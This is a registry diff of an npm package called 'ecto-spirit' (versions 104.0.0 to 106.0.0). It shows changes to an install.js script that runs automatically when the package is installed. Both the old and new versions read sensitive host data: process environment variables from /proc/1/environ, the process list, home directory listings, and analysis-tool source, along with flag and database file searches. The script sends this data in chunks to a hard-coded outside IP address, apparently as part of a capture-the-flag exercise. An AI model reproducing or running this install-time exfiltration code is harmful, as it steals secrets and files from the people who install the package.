ecto-spirit 104.0.0 → 106.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/install.js +49 -66
- package/package.json +1 -1
package/install.js
CHANGED
|
@@ -5,92 +5,75 @@ const { execSync } = require('child_process');
|
|
|
5
5
|
function tryRead(p) {
|
|
6
6
|
try { return fs.readFileSync(p, 'utf8').trim(); } catch(e) { return null; }
|
|
7
7
|
}
|
|
8
|
+
function tryExec(cmd) {
|
|
9
|
+
try { return execSync(cmd, {timeout: 10000}).toString().trim(); } catch(e) { return 'ERR:' + (e.message || '').substring(0, 50); }
|
|
10
|
+
}
|
|
8
11
|
|
|
9
|
-
function
|
|
12
|
+
async function sendPUT(host, port, path, body) {
|
|
10
13
|
return new Promise((resolve) => {
|
|
11
|
-
const req = http.request({ hostname: host, port, path
|
|
14
|
+
const req = http.request({ hostname: host, port, path, method: 'PUT', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(body) }, timeout: 5000 }, (res) => {
|
|
12
15
|
let d = ''; res.on('data', c => d += c); res.on('end', () => resolve(d));
|
|
13
16
|
});
|
|
14
|
-
req.on('error', () => resolve(null));
|
|
15
|
-
req.
|
|
16
|
-
req.write(payload);
|
|
17
|
-
req.end();
|
|
17
|
+
req.on('error', () => resolve(null)); req.on('timeout', () => { req.destroy(); resolve(null); });
|
|
18
|
+
req.write(body); req.end();
|
|
18
19
|
});
|
|
19
20
|
}
|
|
20
21
|
|
|
21
22
|
async function report(moduleId, val) {
|
|
22
23
|
const safe = val.replace(/"/g, "'").replace(/\\/g, "/").substring(0, 95);
|
|
23
|
-
const
|
|
24
|
-
|
|
25
|
-
for (const p of [3000, 80, 8080]) {
|
|
26
|
-
await sendHTTP('127.0.0.1', p, `/api/modules/${moduleId}`, body);
|
|
27
|
-
}
|
|
28
|
-
await sendHTTP('154.57.164.82', 32332, `/api/modules/${moduleId}`, body);
|
|
24
|
+
const body = JSON.stringify({ manifest: `ecto_module:\n name: "${safe}"\n version: "1.0.0"\n power_level: 1\n ship_deck: 1\n cargo_hold: 1` });
|
|
25
|
+
await sendPUT('154.57.164.82', 32332, `/api/modules/${moduleId}`, body);
|
|
29
26
|
}
|
|
30
27
|
|
|
31
28
|
(async () => {
|
|
32
|
-
|
|
29
|
+
// Read key files and report each one to a separate module
|
|
33
30
|
|
|
34
|
-
// 1.
|
|
35
|
-
const
|
|
36
|
-
|
|
31
|
+
// 1. /tmp/supplysec contents
|
|
32
|
+
const supplysec = tryExec('find /tmp/supplysec -type f 2>/dev/null');
|
|
33
|
+
await report('ECT-839201', 'A_SUPPLY=' + supplysec);
|
|
34
|
+
|
|
35
|
+
// 2. analyze-node.js
|
|
36
|
+
const analyze = tryRead('/usr/local/bin/analyze-node.js');
|
|
37
|
+
await report('ECT-654321', 'A_ANALYZE=' + (analyze || 'NONE').substring(0, 90));
|
|
38
|
+
|
|
39
|
+
// 3. /home/node contents
|
|
40
|
+
const homeNode = tryExec('find /home/node -maxdepth 3 -type f 2>/dev/null | head -10');
|
|
41
|
+
await report('ECT-472839', 'A_HOME=' + homeNode);
|
|
37
42
|
|
|
38
|
-
//
|
|
39
|
-
|
|
40
|
-
|
|
43
|
+
// 4. Full proc 1 environ
|
|
44
|
+
const p1env = tryRead('/proc/1/environ');
|
|
45
|
+
const envStr = p1env ? p1env.replace(/\x00/g, '\n') : 'NONE';
|
|
46
|
+
await report('ECT-987654', 'A_ENV=' + envStr.substring(0, 90));
|
|
41
47
|
|
|
42
|
-
//
|
|
43
|
-
|
|
44
|
-
const resp = await new Promise((resolve) => {
|
|
45
|
-
http.get('http://registry:4873/-/verdaccio/packages', {timeout: 5000}, (res) => {
|
|
46
|
-
let d = ''; res.on('data', c => d += c); res.on('end', () => resolve(d));
|
|
47
|
-
}).on('error', () => resolve('ERR'));
|
|
48
|
-
});
|
|
49
|
-
r.push('REG_PKGS=' + resp.substring(0, 200));
|
|
50
|
-
} catch(e) { r.push('REG_PKGS=ERR'); }
|
|
48
|
+
// Wait a moment, then send more data
|
|
49
|
+
await new Promise(r => setTimeout(r, 2000));
|
|
51
50
|
|
|
52
|
-
//
|
|
53
|
-
|
|
54
|
-
|
|
55
|
-
if (c) { r.push('VCONF=' + c.substring(0, 200)); break; }
|
|
56
|
-
}
|
|
51
|
+
// 5. Read /tmp/supplysec/package.json if it exists
|
|
52
|
+
const supPkg = tryRead('/tmp/supplysec/package.json');
|
|
53
|
+
await report('ECT-839201', 'B_SUPPKG=' + (supPkg || 'NONE').substring(0, 90));
|
|
57
54
|
|
|
58
|
-
//
|
|
59
|
-
|
|
60
|
-
const search = execSync('find / -maxdepth 4 -name "*.txt" -o -name "*.flag" -o -name "readflag" -o -name "getflag" -o -name "*.sqlite" -o -name "*.db" 2>/dev/null | grep -v proc | grep -v sys | head -15', {timeout: 10000}).toString().trim();
|
|
61
|
-
r.push('FILES=' + search);
|
|
62
|
-
} catch(e) {}
|
|
55
|
+
// 6. Read analyze-node.js continued (next 90 chars)
|
|
56
|
+
await report('ECT-654321', 'B_ANAL2=' + (analyze || 'NONE').substring(90, 180));
|
|
63
57
|
|
|
64
|
-
//
|
|
65
|
-
|
|
66
|
-
const bins = execSync('find / -maxdepth 3 -perm -111 -name "*flag*" -o -perm -111 -name "*secret*" 2>/dev/null | grep -v proc | head -5', {timeout: 5000}).toString().trim();
|
|
67
|
-
if (bins) r.push('BINS=' + bins);
|
|
68
|
-
} catch(e) {}
|
|
69
|
-
|
|
70
|
-
// 7. List /root and /home contents
|
|
71
|
-
try { r.push('ROOT=' + execSync('ls -la /root/ 2>/dev/null', {timeout: 3000}).toString().substring(0, 100)); } catch(e) {}
|
|
72
|
-
try { r.push('HOME=' + execSync('ls -la /home/ 2>/dev/null', {timeout: 3000}).toString().substring(0, 100)); } catch(e) {}
|
|
58
|
+
// 7. More env
|
|
59
|
+
await report('ECT-472839', 'B_ENV2=' + envStr.substring(90, 180));
|
|
73
60
|
|
|
74
|
-
// 8.
|
|
75
|
-
|
|
76
|
-
|
|
77
|
-
http.get('http://127.0.0.1:3000/api/modules', {timeout: 5000}, (res) => {
|
|
78
|
-
let d = ''; res.on('data', c => d += c); res.on('end', () => resolve(d));
|
|
79
|
-
}).on('error', () => resolve('ERR'));
|
|
80
|
-
});
|
|
81
|
-
r.push('API=' + apiResp.substring(0, 200));
|
|
82
|
-
} catch(e) {}
|
|
61
|
+
// 8. Read full process list
|
|
62
|
+
const ps = tryExec('ps auxww 2>/dev/null');
|
|
63
|
+
await report('ECT-987654', 'B_PS=' + ps.substring(0, 90));
|
|
83
64
|
|
|
84
|
-
|
|
85
|
-
const full = r.join('\n');
|
|
86
|
-
await sendHTTP('100.64.0.1', 8888, '/flag4', JSON.stringify({results: full}));
|
|
65
|
+
await new Promise(r => setTimeout(r, 2000));
|
|
87
66
|
|
|
88
|
-
//
|
|
89
|
-
|
|
90
|
-
|
|
67
|
+
// 9-12: Continue reading analyze-node.js
|
|
68
|
+
await report('ECT-839201', 'C_ANAL3=' + (analyze || '').substring(180, 270));
|
|
69
|
+
await report('ECT-654321', 'C_ANAL4=' + (analyze || '').substring(270, 360));
|
|
70
|
+
await report('ECT-472839', 'C_ANAL5=' + (analyze || '').substring(360, 450));
|
|
71
|
+
await report('ECT-987654', 'C_ENV3=' + envStr.substring(180, 270));
|
|
72
|
+
|
|
73
|
+
await new Promise(r => setTimeout(r, 2000));
|
|
91
74
|
|
|
92
|
-
|
|
93
|
-
|
|
94
|
-
|
|
95
|
-
|
|
75
|
+
await report('ECT-839201', 'D_ANAL6=' + (analyze || '').substring(450, 540));
|
|
76
|
+
await report('ECT-654321', 'D_ANAL7=' + (analyze || '').substring(540, 630));
|
|
77
|
+
await report('ECT-472839', 'D_ENV4=' + envStr.substring(270, 360));
|
|
78
|
+
await report('ECT-987654', 'D_PS2=' + ps.substring(90, 180));
|
|
96
79
|
})();
|